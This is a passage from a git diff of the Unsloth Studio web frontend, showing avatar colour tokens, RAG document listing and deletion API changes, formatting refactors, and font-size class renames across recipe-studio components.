       setAvatarDataUrl: (avatarDataUrl) => set({ avatarDataUrl }),
       setAvatarShape: (avatarShape) => set({ avatarShape }),
+      setShowGreetingSloth: (showGreetingSloth) => set({ showGreetingSloth }),
     }),
     { name: "unsloth_user_profile" },
   ),
diff --git a/studio/frontend/src/features/profile/utils/avatar-initials.ts b/studio/frontend/src/features/profile/utils/avatar-initials.ts
index 2683b52a37..c80d2eafd9 100644
--- a/studio/frontend/src/features/profile/utils/avatar-initials.ts
+++ b/studio/frontend/src/features/profile/utils/avatar-initials.ts
@@ -8,18 +8,16 @@ export function initialsFromName(name: string): string {
 }
 
 /**
- * Default Unsloth-brand background for the avatar fallback (readable white text).
+ * Accent background for the avatar fallback with a readable foreground.
  *
- * Uses the shared `--primary` design token instead of a one-off hardcoded
- * shade, so the avatar always matches the app's general brand green (send
- * button, primary buttons, etc.). It previously hardcoded a slightly different
- * `#14b789`, which looked inconsistent next to primary-colored UI such as the
- * artifact preview/code panel.
- *
- * The literal fallback (the current `--primary` value) only applies if this
- * reusable avatar is ever rendered outside the theme root, where `--primary`
- * is undefined -- it keeps the avatar branded instead of transparent.
+ * Uses `--control-accent`, the token behind toggles and badges, so the
+ * avatar follows the palette accent (green in standard, blue in classic)
+ * and any custom accent the user picks in Appearance. The literals only
+ * apply outside the theme root, keeping the avatar branded there.
  */
-export function avatarBgStyle(): { backgroundColor: string } {
-  return { backgroundColor: "var(--primary, #17b88b)" };
+export function avatarBgStyle(): { backgroundColor: string; color: string } {
+  return {
+    backgroundColor: "var(--control-accent, #17b88b)",
+    color: "var(--control-accent-foreground, #ffffff)",
+  };
 }
diff --git a/studio/frontend/src/features/rag/api/rag-api.ts b/studio/frontend/src/features/rag/api/rag-api.ts
index 20800230b5..c0bad1a9d5 100644
--- a/studio/frontend/src/features/rag/api/rag-api.ts
+++ b/studio/frontend/src/features/rag/api/rag-api.ts
@@ -10,6 +10,7 @@ import type {
   KnowledgeBase,
   PreviewTarget,
   RagDocument,
+  UploadedDocument,
 } from "../types/rag";
 
 const RAG_BASE = "/api/rag";
@@ -194,10 +195,25 @@ export function invalidateProjectSources(projectId: string): void {
   projectSourcesCache.delete(projectId);
 }
 
-export function deleteDocument(documentId: string): Promise<{ ok: boolean }> {
-  return ragRequest(`/documents/${encodeURIComponent(documentId)}`, {
-    method: "DELETE",
-  });
+export async function listAllDocuments(): Promise<UploadedDocument[]> {
+  const data = await ragRequest<{ documents: UploadedDocument[] }>(
+    "/documents",
+  );
+  return data.documents ?? [];
+}
+
+export async function deleteDocument(
+  documentId: string,
+  projectId?: string | null,
+): Promise<{ ok: boolean }> {
+  const result = await ragRequest<{ ok: boolean }>(
+    `/documents/${encodeURIComponent(documentId)}`,
+    {
+      method: "DELETE",
+    },
+  );
+  if (projectId) invalidateProjectSources(projectId);
+  return result;
 }
 
 export function getJob(jobId: string): Promise<IndexJob> {
@@ -237,7 +253,8 @@ export async function* streamJobEvents(
 
         const dataLines: string[] = [];
         for (const line of rawEvent.split(/\r?\n/)) {
-          if (line.startsWith("data:")) dataLines.push(line.slice(5).trimStart());
+          if (line.startsWith("data:"))
+            dataLines.push(line.slice(5).trimStart());
         }
         if (dataLines.length > 0) {
           const dataText = dataLines.join("\n");
diff --git a/studio/frontend/src/features/rag/components/project-sources-panel.tsx b/studio/frontend/src/features/rag/components/project-sources-panel.tsx
index 941e385563..1bbbc58c0c 100644
--- a/studio/frontend/src/features/rag/components/project-sources-panel.tsx
+++ b/studio/frontend/src/features/rag/components/project-sources-panel.tsx
@@ -77,7 +77,7 @@ export function ProjectSourcesPanel({ projectId }: { projectId: string }) {
             />
           </span>
           <div className="space-y-1">
-            <p className="text-[15px] font-semibold text-foreground">
+            <p className="text-ui-15 font-semibold text-foreground">
               Give this project context
             </p>
             <p className="max-w-sm text-sm text-muted-foreground">
@@ -94,7 +94,7 @@ export function ProjectSourcesPanel({ projectId }: { projectId: string }) {
           >
             Add sources
           </Button>
-          <p className="text-[11px] text-muted-foreground">Or drop files here</p>
+          <p className="text-ui-11 text-muted-foreground">Or drop files here</p>
         </div>
       ) : (
         <div className="flex flex-col gap-4 rounded-[26px] bg-muted/30 px-6 py-5">
diff --git a/studio/frontend/src/features/rag/components/retrieval-settings-section.tsx b/studio/frontend/src/features/rag/components/retrieval-settings-section.tsx
index be791b8e6d..9c91360d44 100644
--- a/studio/frontend/src/features/rag/components/retrieval-settings-section.tsx
+++ b/studio/frontend/src/features/rag/components/retrieval-settings-section.tsx
@@ -75,10 +75,10 @@ function SliderRow({
       )}
     >
       <div className="flex items-center justify-between">
-        <span className="text-[13px] font-medium leading-[1.25] tracking-nav text-nav-fg">
+        <span className="text-ui-13 font-medium leading-[1.25] tracking-nav text-nav-fg">
           {label}
         </span>
-        <span className="text-[13px] tabular-nums text-muted-foreground">
+        <span className="text-ui-13 tabular-nums text-muted-foreground">
           {format(value)}
         </span>
       </div>
@@ -120,7 +120,7 @@ export function RetrievalSettingsSection() {
   return (
     <div className="flex flex-col gap-5 pt-1">
       <div className="flex flex-col gap-2">
-        <span className="text-[13px] font-medium leading-[1.25] tracking-nav text-nav-fg">
+        <span className="text-ui-13 font-medium leading-[1.25] tracking-nav text-nav-fg">
           Search mode
         </span>
         <Select
@@ -143,10 +143,10 @@ export function RetrievalSettingsSection() {
 
       <div className="flex flex-col gap-2">
         <div className="flex items-center justify-between">
-          <span className="text-[13px] font-medium leading-[1.25] tracking-nav text-nav-fg">
+          <span className="text-ui-13 font-medium leading-[1.25] tracking-nav text-nav-fg">
             Passages (top K)
           </span>
-          <span className="text-[13px] tabular-nums text-muted-foreground">
+          <span className="text-ui-13 tabular-nums text-muted-foreground">
             {ragTopK}
           </span>
         </div>
@@ -163,7 +163,7 @@ export function RetrievalSettingsSection() {
 
       <div className="flex flex-col gap-3">
         <div className="flex flex-col">
-          <span className="flex items-center gap-1.5 text-[13px] font-medium leading-[1.25] tracking-nav text-nav-fg">
+          <span className="flex items-center gap-1.5 text-ui-13 font-medium leading-[1.25] tracking-nav text-nav-fg">
             Auto-retrieve documents
             <InfoHint>
               Auto turns retrieval on for smaller models (9B and below), which
@@ -171,7 +171,7 @@ export function RetrievalSettingsSection() {
               larger ones. On and Off force it either way.
             </InfoHint>
           </span>
-          <span className="text-[12px] leading-[1.3] text-muted-foreground">
+          <span className="text-ui-12 leading-[1.3] text-muted-foreground">
             Search attached documents before answering.
           </span>
         </div>
@@ -212,7 +212,7 @@ export function RetrievalSettingsSection() {
 
       <div className="flex items-start justify-between gap-3">
         <div className="flex flex-col">
-          <span className="flex items-center gap-1.5 text-[13px] font-medium leading-[1.25] tracking-nav text-nav-fg">
+          <span className="flex items-center gap-1.5 text-ui-13 font-medium leading-[1.25] tracking-nav text-nav-fg">
             OCR scanned pages
             <InfoHint>
               Read text off scanned or image-only PDF pages with the loaded
@@ -221,7 +221,7 @@ export function RetrievalSettingsSection() {
               unaffected.
             </InfoHint>
           </span>
-          <span className="text-[12px] leading-[1.3] text-muted-foreground">
+          <span className="text-ui-12 leading-[1.3] text-muted-foreground">
             Transcribe image-only PDF pages when attaching.
           </span>
         </div>
@@ -235,7 +235,7 @@ export function RetrievalSettingsSection() {
 
       <div className="flex items-start justify-between gap-3">
         <div className="flex flex-col">
-          <span className="flex items-center gap-1.5 text-[13px] font-medium leading-[1.25] tracking-nav text-nav-fg">
+          <span className="flex items-center gap-1.5 text-ui-13 font-medium leading-[1.25] tracking-nav text-nav-fg">
             Describe figures &amp; charts
             <InfoHint>
               Caption PDF figures, charts, tables and diagrams at upload with the
@@ -243,7 +243,7 @@ export function RetrievalSettingsSection() {
               vision model; adds vision calls for detected figures.
             </InfoHint>
           </span>
-          <span className="text-[12px] leading-[1.3] text-muted-foreground">
+          <span className="text-ui-12 leading-[1.3] text-muted-foreground">
             Read charts and diagrams when attaching.
           </span>
         </div>
diff --git a/studio/frontend/src/features/rag/components/use-rag-documents.ts b/studio/frontend/src/features/rag/components/use-rag-documents.ts
index 8e756b2782..8d6433d8c3 100644
--- a/studio/frontend/src/features/rag/components/use-rag-documents.ts
+++ b/studio/frontend/src/features/rag/components/use-rag-documents.ts
@@ -2,12 +2,11 @@
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
 import { useCallback, useEffect, useRef, useState } from "react";
-import { useChatRuntimeStore } from "@/features/chat";
-
 import {
   CHAT_RAG_CAPTION_KEY,
   CHAT_RAG_OCR_KEY,
-} from "@/features/chat/stores/chat-runtime-store";
+  useChatRuntimeStore,
+} from "@/features/chat";
 import { toast } from "@/lib/toast";
 import {
   deleteDocument,
@@ -60,9 +59,7 @@ export function useRagDocuments(
     if (ids.size === 0) return false;
     const docs = documentsRef.current.filter((d) => ids.has(d.id));
     if (docs.length === 0) return false; // sig tracked but doc gone -> allow re-upload
-    return docs.some(
-      (d) => d.status !== "completed" || (d.numChunks ?? 0) > 0,
-    );
+    return docs.some((d) => d.status !== "completed" || (d.numChunks ?? 0) > 0);
   }, []);
   // True while upload() runs, so the scope-change effect can tell a real switch
   // from lazy thread materialization mid-upload (which must not reset).
@@ -80,9 +77,7 @@ export function useRagDocuments(
   const patchDoc = useCallback(
     (documentId: string, patch: Partial<TrackedDocument>) => {
       setDocuments((rows) =>
-        rows.map((row) =>
-          row.id === documentId ? { ...row, ...patch } : row,
-        ),
+        rows.map((row) => (row.id === documentId ? { ...row, ...patch } : row)),
       );
     },
     [],
@@ -176,49 +171,61 @@ export function useRagDocuments(
     [patchDoc],
   );
 
-  const refresh = useCallback(async (opts?: { quiet?: boolean }) => {
-    if (!scope) return;
-    if (!opts?.quiet) setLoading(true);
-    try {
-      // Merge server truth with local progress so a refresh mid-index keeps a
-      // live "running %" chip. Failed docs hidden (toast warned at upload).
-      const rows = (await lister()).filter((row) => row.status !== "failed");
-      setDocuments((prev) => {
-        const merged = rows.map((row) => {
-          const tracked = prev.find((p) => p.id === row.id);
-          return tracked && tracked.progress != null && row.status !== "completed"
-            ? { ...row, progress: tracked.progress }
-            : row;
+  const refresh = useCallback(
+    async (opts?: { quiet?: boolean }) => {
+      if (!scope) return;
+      if (!opts?.quiet) setLoading(true);
+      try {
+        // Merge server truth with local progress so a refresh mid-index keeps a
+        // live "running %" chip. Failed docs hidden (toast warned at upload).
+        const rows = (await lister()).filter((row) => row.status !== "failed");
+        setDocuments((prev) => {
+          const merged = rows.map((row) => {
+            const tracked = prev.find((p) => p.id === row.id);
+            return tracked &&
+              tracked.progress != null &&
+              row.status !== "completed"
+              ? { ...row, progress: tracked.progress }
+              : row;
+          });
+          // Keep optimistic chips (not yet listed) so a refresh racing an upload
+          // can't make them vanish.
+          const serverIds = new Set(rows.map((row) => row.id));
+          const pendingLocal = prev.filter(
+            (row) => row.id.startsWith("pending_") && !serverIds.has(row.id),
+          );
+          return [...merged, ...pendingLocal];
         });
-        // Keep optimistic chips (not yet listed) so a refresh racing an upload
-        // can't make them vanish.
-        const serverIds = new Set(rows.map((row) => row.id));
-        const pendingLocal = prev.filter(
-          (row) => row.id.startsWith("pending_") && !serverIds.has(row.id),
-        );
-        return [...merged, ...pendingLocal];
-      });
-    } catch (err) {
-      toast.error("Failed to load documents", {
-        description: err instanceof Error ? err.message : String(err),
-      });
-    } finally {
-      if (!opts?.quiet) setLoading(false);
-    }
-  }, [scope, lister]);
+      } catch (err) {
+        toast.error("Failed to load documents", {
+          description: err instanceof Error ? err.message : String(err),
+        });
+      } finally {
+        if (!opts?.quiet) setLoading(false);
+      }
+    },
+    [scope, lister],
+  );
 
   // A real switch (thread/KB swap) resets + reloads; first acquiring a scope just
   // loads. Skip both during materialization mid-upload (scope null -> new thread
   // while upload() runs) so we don't abort tracking or wipe optimistic chips.
   useEffect(() => {
+    const jobs = trackedJobs.current;
     const prev = prevScopeKeyRef.current;
     prevScopeKeyRef.current = scopeKey;
     if (prev !== null && prev !== scopeKey) {
-      for (const controller of trackedJobs.current.values()) controller.abort();
-      trackedJobs.current.clear();
+      for (const controller of jobs.values()) controller.abort();
+      jobs.clear();
       sigByDocId.current.clear();
+      // Scope changes intentionally clear the old scope before fetching the new
+      // one. Keep this synchronous so React StrictMode's setup/cleanup replay
+      // cannot cancel the only refresh after prevScopeKeyRef has advanced.
       setDocuments([]);
-      if (scope) void refresh();
+      if (scope) {
+        // eslint-disable-next-line react-hooks/set-state-in-effect
+        void refresh();
+      }
     } else if (prev === null && scope && !uploadInFlightRef.current) {
       void refresh();
     }
@@ -226,8 +233,8 @@ export function useRagDocuments(
       // Preserve in-flight tracking when cleanup is the materialization flip,
       // not a real switch/unmount.
       if (uploadInFlightRef.current) return;
-      for (const controller of trackedJobs.current.values()) controller.abort();
-      trackedJobs.current.clear();
+      for (const controller of jobs.values()) controller.abort();
+      jobs.clear();
     };
     // eslint-disable-next-line react-hooks/exhaustive-deps
   }, [scopeKey]);
@@ -260,21 +267,41 @@ export function useRagDocuments(
         // otherwise backend env defaults own the ingest policy.
         const state = useChatRuntimeStore.getState();
         const hasLocal = (key: string) =>
-          typeof window !== "undefined" && window.localStorage.getItem(key) !== null;
-        const ocr = hasLocal(CHAT_RAG_OCR_KEY) ? state.ragOcrScanned : undefined;
+          typeof window !== "undefined" &&
+          window.localStorage.getItem(key) !== null;
+        const ocr = hasLocal(CHAT_RAG_OCR_KEY)
+          ? state.ragOcrScanned
+          : undefined;
         const caption = hasLocal(CHAT_RAG_CAPTION_KEY)
           ? state.ragCaptionFigures
           : undefined;
         const result =
           activeScope.type === "kb"
-            ? await uploadKnowledgeBaseDocument(activeScope.kbId, file, ocr, caption)
+            ? await uploadKnowledgeBaseDocument(
+                activeScope.kbId,
+                file,
+                ocr,
+                caption,
+              )
             : activeScope.type === "project"
-              ? await uploadProjectDocument(activeScope.projectId, file, ocr, caption)
-              : await uploadThreadDocument(activeScope.threadId, file, ocr, caption);
+              ? await uploadProjectDocument(
+                  activeScope.projectId,
+                  file,
+                  ocr,
+                  caption,
+                )
+              : await uploadThreadDocument(
+                  activeScope.threadId,
+                  file,
+                  ocr,
+                  caption,
+                );
         sigByDocId.current.set(result.documentId, fileSignature(file));
         if (seenIds.has(result.documentId)) {
           setDocuments((rows) => rows.filter((row) => row.id !== tempId));
-          toast.info(`${result.filename || file.name} is already indexed - skipping`);
+          toast.info(
+            `${result.filename || file.name} is already indexed - skipping`,
+          );
           return;
         }
         seenIds.add(result.documentId);
@@ -341,7 +368,9 @@ export function useRagDocuments(
         ]);
 
         const resolved =
-          overrideScope instanceof Promise ? await overrideScope : overrideScope;
+          overrideScope instanceof Promise
+            ? await overrideScope
+            : overrideScope;
         const activeScope = resolved ?? scope;
         if (!activeScope) {
           // Materialization failed: drop the chips so they don't hang "pending".
@@ -377,7 +406,10 @@ export function useRagDocuments(
       const prevSig = sigByDocId.current.get(documentId);
       sigByDocId.current.delete(documentId);
       try {
-        await deleteDocument(documentId);
+        await deleteDocument(
+          documentId,
+          scope?.type === "project" ? scope.projectId : undefined,
+        );
       } catch (err) {
         setDocuments(prev);
         if (prevSig !== undefined) sigByDocId.current.set(documentId, prevSig);
@@ -386,7 +418,7 @@ export function useRagDocuments(
         });
       }
     },
-    [documents],
+    [documents, scope],
   );
 
   return { documents, loading, uploading, refresh, upload, remove };
diff --git a/studio/frontend/src/features/rag/index.ts b/studio/frontend/src/features/rag/index.ts
index 9e35e345ee..b06c7e09cc 100644
--- a/studio/frontend/src/features/rag/index.ts
+++ b/studio/frontend/src/features/rag/index.ts
@@ -5,4 +5,9 @@ export { KnowledgeBaseComposerButton } from "./components/knowledge-base-compose
 export { KnowledgeBaseDialog } from "./components/knowledge-base-dialog";
 export { RetrievalSettingsSection } from "./components/retrieval-settings-section";
 export { ThreadDocumentsBar } from "./components/thread-documents-bar";
-export type { KnowledgeBase, RagDocument } from "./types/rag";
+export {
+  deleteDocument,
+  getDocumentFileUrl,
+  listAllDocuments,
+} from "./api/rag-api";
+export type { KnowledgeBase, RagDocument, UploadedDocument } from "./types/rag";
diff --git a/studio/frontend/src/features/rag/types/rag.ts b/studio/frontend/src/features/rag/types/rag.ts
index 1277500ae6..9922c740af 100644
--- a/studio/frontend/src/features/rag/types/rag.ts
+++ b/studio/frontend/src/features/rag/types/rag.ts
@@ -24,6 +24,13 @@ export interface RagDocument {
   createdAt?: string | null;
 }
 
+/** RagDocument enriched for the global uploaded-files list (settings Data tab). */
+export interface UploadedDocument extends RagDocument {
+  sizeBytes?: number | null;
+  kbName?: string | null;
+  projectName?: string | null;
+}
+
 export interface DocumentUploadResult {
   documentId: string;
   jobId: string;
diff --git a/studio/frontend/src/features/recipe-studio/api/index.ts b/studio/frontend/src/features/recipe-studio/api/index.ts
index 4fe24b1f6d..f4e8167cb3 100644
--- a/studio/frontend/src/features/recipe-studio/api/index.ts
+++ b/studio/frontend/src/features/recipe-studio/api/index.ts
@@ -494,3 +494,13 @@ export async function removeUnstructuredFile(
     throw new Error("Failed to remove file");
   }
 }
+
+export async function removeUnstructuredBlock(blockId: string): Promise<void> {
+  const res = await authFetch(
+    `${DATA_DESIGNER_API_BASE}/seed/unstructured-block/${encodeURIComponent(blockId)}`,
+    { method: "DELETE" },
+  );
+  if (!res.ok && res.status !== 404) {
+    throw new Error("Failed to remove uploaded files");
+  }
+}
diff --git a/studio/frontend/src/features/recipe-studio/components/block-sheet.tsx b/studio/frontend/src/features/recipe-studio/components/block-sheet.tsx
index 1b38f91d64..6aebac66df 100644
--- a/studio/frontend/src/features/recipe-studio/components/block-sheet.tsx
+++ b/studio/frontend/src/features/recipe-studio/components/block-sheet.tsx
@@ -205,12 +205,12 @@ function BlockSheetButton({
             {title}
           </p>
           {badge ? (
-            <Badge variant="outline" className="rounded-full text-[10px]">
+            <Badge variant="outline" className="rounded-full text-ui-10">
               {badge}
             </Badge>
           ) : null}
         </div>
-        <p className="break-words text-[11px] text-muted-foreground">
+        <p className="break-words text-ui-11 text-muted-foreground">
           {description}
         </p>
       </div>
diff --git a/studio/frontend/src/features/recipe-studio/components/chip-input.tsx b/studio/frontend/src/features/recipe-studio/components/chip-input.tsx
index 55db6f280c..3e093aa82a 100644
--- a/studio/frontend/src/features/recipe-studio/components/chip-input.tsx
+++ b/studio/frontend/src/features/recipe-studio/components/chip-input.tsx
@@ -84,7 +84,7 @@ export function ChipInput({
   return (
     <div
       ref={containerRef}
-      className={`bg-input/30 border-input focus-within:border-ring focus-within:ring-ring/50 flex min-h-9 flex-wrap items-center gap-1.5 border bg-clip-padding px-1.5 py-1.5 text-sm transition-colors focus-within:ring-[3px] ${isWrapped ? "corner-squircle rounded-xl" : "rounded-4xl"}`}
+      className={`bg-input/30 border-input dark:border-transparent focus-within:border-ring dark:focus-within:border-transparent dark:focus-within:bg-white/[0.09] flex min-h-9 flex-wrap items-center gap-1.5 border bg-clip-padding px-1.5 py-1.5 text-sm transition-colors ${isWrapped ? "corner-squircle rounded-xl" : "rounded-4xl"}`}
     >
       {values.map((value, index) => (
         <span
diff --git a/studio/frontend/src/features/recipe-studio/components/executions/execution-sidebar.tsx b/studio/frontend/src/features/recipe-studio/components/executions/execution-sidebar.tsx
index fc21cfc581..f613c775b3 100644
--- a/studio/frontend/src/features/recipe-studio/components/executions/execution-sidebar.tsx
+++ b/studio/frontend/src/features/recipe-studio/components/executions/execution-sidebar.tsx
@@ -55,7 +55,7 @@ export function ExecutionSidebar({
                 className={cn(
                   "w-full rounded-xl corner-squircle border border-r-2 border-border/60 bg-card/60 p-3 text-left transition-colors",
                   selectedExecutionId === execution.id
-                    ? "border-primary/35 bg-primary/[0.045]"
+                    ? "border-ring-strong bg-primary/[0.045]"
                     : "hover:bg-muted/25",
                   statusRightBorder(execution.status),
                 )}
@@ -66,7 +66,7 @@ export function ExecutionSidebar({
                   </p>
                   <Badge
                     variant="outline"
-                    className={cn("capitalize text-[11px]", statusTone(execution.status))}
+                    className={cn("capitalize text-ui-11", statusTone(execution.status))}
                   >
                     {formatStatus(execution.status)}
                   </Badge>
diff --git a/studio/frontend/src/features/recipe-studio/components/inline/inline-category-badges.tsx b/studio/frontend/src/features/recipe-studio/components/inline/inline-category-badges.tsx
index a2e352a8f7..8db276eca3 100644
--- a/studio/frontend/src/features/recipe-studio/components/inline/inline-category-badges.tsx
+++ b/studio/frontend/src/features/recipe-studio/components/inline/inline-category-badges.tsx
@@ -64,7 +64,7 @@ export function InlineCategoryBadges({
           <Badge
             key={`m-${v}-${i}`}
             variant="secondary"
-            className="corner-squircle h-4 shrink-0 px-1.5 text-[10px]"
+            className="corner-squircle h-4 shrink-0 px-1.5 text-ui-10"
           >
             {v}
           </Badge>
@@ -76,13 +76,13 @@ export function InlineCategoryBadges({
           <Badge
             key={`${v}-${i}`}
             variant="secondary"
-            className="corner-squircle h-4 px-1.5 text-[10px]"
+            className="corner-squircle h-4 px-1.5 text-ui-10"
           >
             {v}
           </Badge>
         ))}
         {overflow > 0 && (
-          <Badge variant="outline" className="corner-squircle h-4 px-1.5 text-[10px]">
+          <Badge variant="outline" className="corner-squircle h-4 px-1.5 text-ui-10">
             +{overflow}
           </Badge>
         )}
diff --git a/studio/frontend/src/features/recipe-studio/components/inline/inline-field.tsx b/studio/frontend/src/features/recipe-studio/components/inline/inline-field.tsx
index e52ee00425..76eddd2c9e 100644
--- a/studio/frontend/src/features/recipe-studio/components/inline/inline-field.tsx
+++ b/studio/frontend/src/features/recipe-studio/components/inline/inline-field.tsx
@@ -17,7 +17,7 @@ export function InlineField({
 }: InlineFieldProps): ReactElement {
   return (
     <div className={cn("grid gap-1.5", className)}>
-      <p className="text-[11px] font-semibold uppercase tracking-wide text-muted-foreground">
+      <p className="text-ui-11 font-semibold uppercase tracking-wide text-muted-foreground">
         {label}
       </p>
       {children}
diff --git a/studio/frontend/src/features/recipe-studio/components/inline/inline-llm.tsx b/studio/frontend/src/features/recipe-studio/components/inline/inline-llm.tsx
index 45fb1b52a0..36479d2b58 100644
--- a/studio/frontend/src/features/recipe-studio/components/inline/inline-llm.tsx
+++ b/studio/frontend/src/features/recipe-studio/components/inline/inline-llm.tsx
@@ -184,7 +184,7 @@ export function InlineLlm({ config, onUpdate }: InlineLlmProps): ReactElement {
           </Select>
         </InlineField>
       )}
-      <p className="text-[11px] text-muted-foreground">
+      <p className="text-ui-11 text-muted-foreground">
         Prompt/system edited on aux nodes.
       </p>
     </div>
diff --git a/studio/frontend/src/features/recipe-studio/components/inline/inline-seed.tsx b/studio/frontend/src/features/recipe-studio/components/inline/inline-seed.tsx
index 82ec2f1de8..c4ca2d1834 100644
--- a/studio/frontend/src/features/recipe-studio/components/inline/inline-seed.tsx
+++ b/studio/frontend/src/features/recipe-studio/components/inline/inline-seed.tsx
@@ -74,7 +74,7 @@ export function InlineSeed({
         </div>
         <div className="min-w-0">
           <p className="truncate text-xs font-medium">{summary}</p>
-          <p className="truncate text-[11px] text-muted-foreground">
+          <p className="truncate text-ui-11 text-muted-foreground">
             {warning ??
               `${itemsLabel} · limit ${limit} · ${commentsLabel} · ${tokenLabel}`}
           </p>
@@ -106,7 +106,7 @@ export function InlineSeed({
             placeholder="org/repo"
           />
         </InlineField>
-        <p className="text-[11px] text-muted-foreground">
+        <p className="text-ui-11 text-muted-foreground">
           Load columns in dialog.
         </p>
       </div>
@@ -132,7 +132,7 @@ export function InlineSeed({
         <p className="truncate text-xs font-medium">
           {fileName || "No file selected"}
         </p>
-        <p className="text-[11px] text-muted-foreground">
+        <p className="text-ui-11 text-muted-foreground">
           {isLocal ? "Structured file" : "Unstructured document"} · configure in
           dialog
         </p>
diff --git a/studio/frontend/src/features/recipe-studio/components/recipe-graph-node.tsx b/studio/frontend/src/features/recipe-studio/components/recipe-graph-node.tsx
index 7d23a0c2cd..9ad483d738 100644
--- a/studio/frontend/src/features/recipe-studio/components/recipe-graph-node.tsx
+++ b/studio/frontend/src/features/recipe-studio/components/recipe-graph-node.tsx
@@ -338,7 +338,7 @@ function renderNodeBody(
               <Badge
                 key={providerName}
                 variant="secondary"
-                className="corner-squircle font-mono text-[11px]"
+                className="corner-squircle font-mono text-ui-11"
               >
                 {providerName}
               </Badge>
@@ -455,7 +455,7 @@ function RecipeGraphNodeBase({
       : meta.tone;
   const runtimeNodeTone =
     runtimeState === "running"
-      ? "border-primary/70 ring-2 ring-primary/20 shadow-md"
+      ? "border-ring-strong shadow-md"
       : runtimeState === "done"
         ? "border-emerald-500/60 ring-1 ring-emerald-500/20"
         : "";
@@ -505,7 +505,7 @@ function RecipeGraphNodeBase({
             <BaseNodeHeaderTitle className="truncate text-sm">
               {data.name}
             </BaseNodeHeaderTitle>
-            <p className="truncate text-[11px] text-muted-foreground">
+            <p className="truncate text-ui-11 text-muted-foreground">
               {data.subtype} · {data.title}
             </p>
           </div>
diff --git a/studio/frontend/src/features/recipe-studio/components/recipe-studio-header.tsx b/studio/frontend/src/features/recipe-studio/components/recipe-studio-header.tsx
index 385bef2b77..af22778ce5 100644
--- a/studio/frontend/src/features/recipe-studio/components/recipe-studio-header.tsx
+++ b/studio/frontend/src/features/recipe-studio/components/recipe-studio-header.tsx
@@ -118,7 +118,7 @@ export function RecipeStudioHeader({
               {workflowName}
             </button>
           )}
-          <Badge variant="secondary" className="h-6 shrink-0 text-[10px]">
+          <Badge variant="secondary" className="h-6 shrink-0 text-ui-10">
             {STATUS_MESSAGE_CLASS[saveTone]}
           </Badge>
           <span
@@ -148,7 +148,7 @@ export function RecipeStudioHeader({
             <PopoverTrigger asChild={true}>
               <button
                 type="button"
-                className={`inline-flex h-6 shrink-0 items-center gap-1 rounded-md border px-2 text-[10px] font-medium ${RECIPE_STUDIO_WARNING_BADGE_TONE}`}
+                className={`inline-flex h-6 shrink-0 items-center gap-1 rounded-md border px-2 text-ui-10 font-medium ${RECIPE_STUDIO_WARNING_BADGE_TONE}`}
               >
                 <HugeiconsIcon icon={Alert02Icon} className="size-3" />
                 {warnings.length}
diff --git a/studio/frontend/src/features/recipe-studio/components/rf-ui/base-node.tsx b/studio/frontend/src/features/recipe-studio/components/rf-ui/base-node.tsx
index d7225e9f52..9eba732e35 100644
--- a/studio/frontend/src/features/recipe-studio/components/rf-ui/base-node.tsx
+++ b/studio/frontend/src/features/recipe-studio/components/rf-ui/base-node.tsx
@@ -13,9 +13,8 @@ export function BaseNode({
     <div
       className={cn(
         "bg-card text-card-foreground relative rounded-md border transition-[border-color,box-shadow] duration-150",
-        "hover:border-primary/40 hover:ring-1 hover:ring-primary/20 hover:shadow-sm",
-        "[.react-flow\\_\\_node.selected_&]:border-primary/45",
-        "[.react-flow\\_\\_node.selected_&]:ring-1 [.react-flow\\_\\_node.selected_&]:ring-primary/25",
+        "hover:border-ring hover:shadow-sm",
+        "[.react-flow\\_\\_node.selected_&]:border-ring-strong",
         "[.react-flow\\_\\_node.selected_&]:shadow-md",
         className,
       )}
diff --git a/studio/frontend/src/features/recipe-studio/components/runtime/execution-progress-island.tsx b/studio/frontend/src/features/recipe-studio/components/runtime/execution-progress-island.tsx
index 1a194ba857..f67019498e 100644
--- a/studio/frontend/src/features/recipe-studio/components/runtime/execution-progress-island.tsx
+++ b/studio/frontend/src/features/recipe-studio/components/runtime/execution-progress-island.tsx
@@ -1,18 +1,17 @@
 // SPDX-License-Identifier: AGPL-3.0-only
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
-import {
-  ArrowDown01Icon,
-  ArrowUp01Icon,
-  CheckmarkCircle02Icon,
-  Flag02Icon,
-} from "@hugeicons/core-free-icons";
-import { HugeiconsIcon } from "@hugeicons/react";
-import type { ReactElement } from "react";
 import { Button } from "@/components/ui/button";
 import { Progress } from "@/components/ui/progress";
 import { Spinner } from "@/components/ui/spinner";
+import {
+  ChevronDownStandardIcon,
+  ChevronUpStandardIcon,
+} from "@/lib/chevron-icons";
 import { cn } from "@/lib/utils";
+import { CheckmarkCircle02Icon, Flag02Icon } from "@hugeicons/core-free-icons";
+import { HugeiconsIcon } from "@hugeicons/react";
+import type { ReactElement } from "react";
 import type { RecipeExecutionRecord } from "../../execution-types";
 import { isExecutionInProgress } from "../../executions/execution-helpers";
 import {
@@ -112,8 +111,11 @@ export function ExecutionProgressIsland({
         execution.source_progress?.status === "rate_limited" ||
         execution.source_progress?.status === "retrying"),
   );
-  const sourcePercent = showSourceProgress ? execution.source_progress?.percent : null;
-  const progressPercent = sourcePercent ?? execution.progress?.percent ?? (complete ? 100 : 0);
+  const sourcePercent = showSourceProgress
+    ? execution.source_progress?.percent
+    : null;
+  const progressPercent =
+    sourcePercent ?? execution.progress?.percent ?? (complete ? 100 : 0);
   const hasProgressSignal = Boolean(
     (execution.progress &&
       (typeof execution.progress.done === "number" ||
@@ -154,7 +156,7 @@ export function ExecutionProgressIsland({
           {showLoadingSpinner && (
             <Spinner className="size-3.5 text-muted-foreground" />
           )}
-          <span className="shrink-0 text-[11px] text-muted-foreground">
+          <span className="shrink-0 text-ui-11 text-muted-foreground">
             {formatPercent(progressPercent)}
           </span>
           <button
@@ -165,7 +167,7 @@ export function ExecutionProgressIsland({
             title={minimized ? "Expand" : "Minimize"}
           >
             <HugeiconsIcon
-              icon={minimized ? ArrowDown01Icon : ArrowUp01Icon}
+              icon={minimized ? ChevronDownStandardIcon : ChevronUpStandardIcon}
               className="size-3.5"
             />
           </button>
@@ -178,22 +180,34 @@ export function ExecutionProgressIsland({
 
       {!minimized && (
         <>
-          <div className="grid grid-cols-2 gap-2 px-3 pt-2 text-[11px] text-muted-foreground sm:grid-cols-4">
-            <p className="truncate" title={`Done: ${formatMetricValue(execution.progress?.done)}`}>
+          <div className="grid grid-cols-2 gap-2 px-3 pt-2 text-ui-11 text-muted-foreground sm:grid-cols-4">
+            <p
+              className="truncate"
